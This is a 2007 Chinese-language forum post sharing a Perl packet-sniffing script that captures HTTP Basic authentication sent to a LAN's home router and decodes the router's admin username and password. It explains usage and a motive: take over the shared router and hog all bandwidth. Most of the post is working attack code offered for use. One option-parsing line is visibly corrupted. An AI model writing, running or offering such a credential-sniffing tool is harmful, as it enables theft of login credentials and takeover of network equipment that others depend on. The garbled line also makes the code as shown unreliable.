- 論壇徽章:
- 0
|
- #!/usr/bin/perl -w
- #############################################
- #作者:Minuit
- #時(shí)間:2007年02月03日 星期六 01時(shí)23分09秒
- #文件名:base64_test.pl
- #描述:從局域網(wǎng)中獲取寬帶路由用戶名密碼(用BASE64編碼解碼)
- #############################################
- use strict;
- use vars qw($i %opts %base_encode64 %base_decode64 $dev $dst $port $pcap $err $filter $program $net $mask);
- use subs qw(usage encode decode);
- use Net::Pcap;
- use Carp;
- $i=0;
- %base_decode64=map{$_=>$i++}('A'..'Z','a'..'z','0'..'9','+','/','=');
- $i=0;
- %base_encode64=map{$i++=>$_}('A'..'Z','a'..'z','0'..'9','+','/','=');
- use Getopt::Std;
- getopts('i:d:p:h', \%opts);
- $opts{i} and $dev=$opts{i};
- $optsa9ur7n9vt and $dst=$optsa9ur7n9vt;
- $opts{p} and $port=$opts{p};
- $opts{h} and usage($0);
- $SIG{INT}=sub {
- Net::Pcap::close($pcap) if defined $pcap;
- };
- die "Must have (UID|EUID) == 0 to use $0\n" if $> || $<;
- $dst||="192.168.1.1";
- $port||="80";
- $filter="dst host $dst and dst port $port and tcp[13]&8==8";
- $dev||=Net::Pcap::lookupdev(\$err) or die "lookupdev:$err\n";
- $pcap=Net::Pcap::open_live($dev, 1024,1,0,\$err) or die "open_live:$err\n";
- Net::Pcap::lookupnet($dev,\$net,\$mask,\$err) and die "lookupnet:$err\n";
- Net::Pcap::compile($pcap,\$program,$filter,10,$mask) and croak "compile(): check string with filter";
- Net::Pcap::setfilter($pcap,$program);
- Net::Pcap::loop($pcap,0,\&recvpacket,"");
- sub recvpacket {
- my($user_data, $header, $packet) = @_;
- #解碼
- print decode($1),"\n" if($packet=~/Authorization[\s:]*Basic\s*?(\S*)\r\n/osg);
- }
- sub decode {
- chomp(my $str=shift);
- my ($code,$res);
- $str=~s/=$//;
- map{$code.=substr unpack("B*",chr($base_decode64{"$_"})),2}unpack("A"x length $str,$str);
- $res=join "",map{chr(oct("0b$_"))}unpack("A8"x int(length($code)/8),$code);
- ($res="User=$res")=~s/:/,Passwrod=/;
- $res;
- }
- sub encode {
- chomp(my $str=shift);
- my ($code,$res);
- #先把base64編碼后字符串分解然后變成二進(jìn)制串再合并
- $code=pack("A*",map{unpack("B*",$_)}split " ",$str);
- #得到后的全部二進(jìn)制串長(zhǎng)度然后除6看有多少個(gè)6位為一組的串組數(shù)
- my $klen=int(length($code)/6);
- #以6位為一組串的多余部份
- my $tlen=int(length($str)*8%6);
- #多余部份不然6位以0填充
- $klen++,$code.=substr("000000",$tlen) if $tlen;
- #分解二進(jìn)制串以6位為一組然后轉(zhuǎn)換成base64對(duì)應(yīng)的編碼再連接成串
- $res=join "",map{$base_encode64{oct("0b00$_")}}unpack("A6"x $klen,$code);
- #如果填充了字節(jié)那就以等號(hào)結(jié)束
- $res.=$tlen?'=':'';
- }
- sub usage {
- print <<"EOF";
- Usage:$0 [-idp] -i interface -d dstip -p dstprot
- EOF
- exit
- }
復(fù)制代碼
有的朋友經(jīng)常在局域網(wǎng)里被人用網(wǎng)絡(luò)執(zhí)法官一類的工具整吧,然后用很多種辦法(例如mac綁定,還有和他對(duì)著用等等方法最后大家都上不成)都不是很有效
對(duì)付這類工具最直接的辦法就是控制路由器然后自己找一個(gè)沒(méi)人想得到的網(wǎng)段改一下然后把自己主機(jī)改成相同網(wǎng)段那就OK了現(xiàn)在所有帶寬都為你所用很爽吧
那怎么控制呢顯然是獲得路由器的用戶名密碼
說(shuō)一下原理
一般的寬帶路由器(并非像cisco那樣龐大的玩意只是一般的家用路由)差不多都是用web管理進(jìn)行配置的而它的驗(yàn)證方式也是用簡(jiǎn)單的http認(rèn)證用的編碼算法是base64碼
所以只需對(duì)它簡(jiǎn)單的解碼就可以得到路由器的用戶名密碼了
base64編碼規(guī)則是把所有8位二進(jìn)制以6位為一組,然后對(duì)每6位前面加兩個(gè)0組成新的8位為一組.然后根據(jù)base64編碼表,一一對(duì)換如果出現(xiàn)多余部份不足6位就在后面加0接著根據(jù)前面規(guī)則在6位前加兩個(gè)0然后尾部加上等號(hào)(這是根據(jù)我自己理解可能不是很正確)
http 驗(yàn)證是給用戶發(fā)用一401代碼讓用戶接受檢驗(yàn)在這里我們用不著管服務(wù)器端
當(dāng)服務(wù)器通知客戶端要驗(yàn)證時(shí)客戶端會(huì)出現(xiàn)一個(gè)小對(duì)話框,這個(gè)程序就是在用戶提交用戶信息時(shí)開(kāi)始做自己的事情的
在提交信息里面有一個(gè)Authorization的選項(xiàng)就是帶上客戶的用戶名和密碼這個(gè)程序就是根據(jù)這個(gè)字段來(lái)獲得的然后對(duì)它進(jìn)得解碼
編碼就不講了我們只用到解碼說(shuō)一下用法
-i 指定監(jiān)聽(tīng)接口(默認(rèn):隨便一個(gè)接口一般是eth0)
-d 路由器地址(默認(rèn):192.168.1.1)
-p 路由器web管理端口(默認(rèn):80)
還有一點(diǎn)有的寬帶路由器可能不同所以方法會(huì)用一點(diǎn)小的改變,或者你把編過(guò)碼的串用上面的函數(shù)手動(dòng)的給解一下就行了^_^
上面的兩個(gè)函數(shù)效率很低但一般用在小路由器上還是OK的但是別用在文件上編碼上如果想自己寫(xiě)建議用vec函數(shù)來(lái)實(shí)現(xiàn)
有什么不正確的地方歡迎拍磚^_^
如果要考慮解碼效率可以看看C 版本解碼函數(shù),你也可以轉(zhuǎn)成perl模塊MIME::Base64應(yīng)該也是從C函數(shù)轉(zhuǎn)過(guò)來(lái)的吧
http://72891.cn/viewthread.php?tid=895790&extra=page%3D1
[ 本帖最后由 lovesaka 于 2007-2-5 02:10 編輯 ] |
-
抓圖4.png
(40.12 KB, 下載次數(shù): 142)
下載附件
2007-02-03 03:42 上傳
成功獲得密碼
|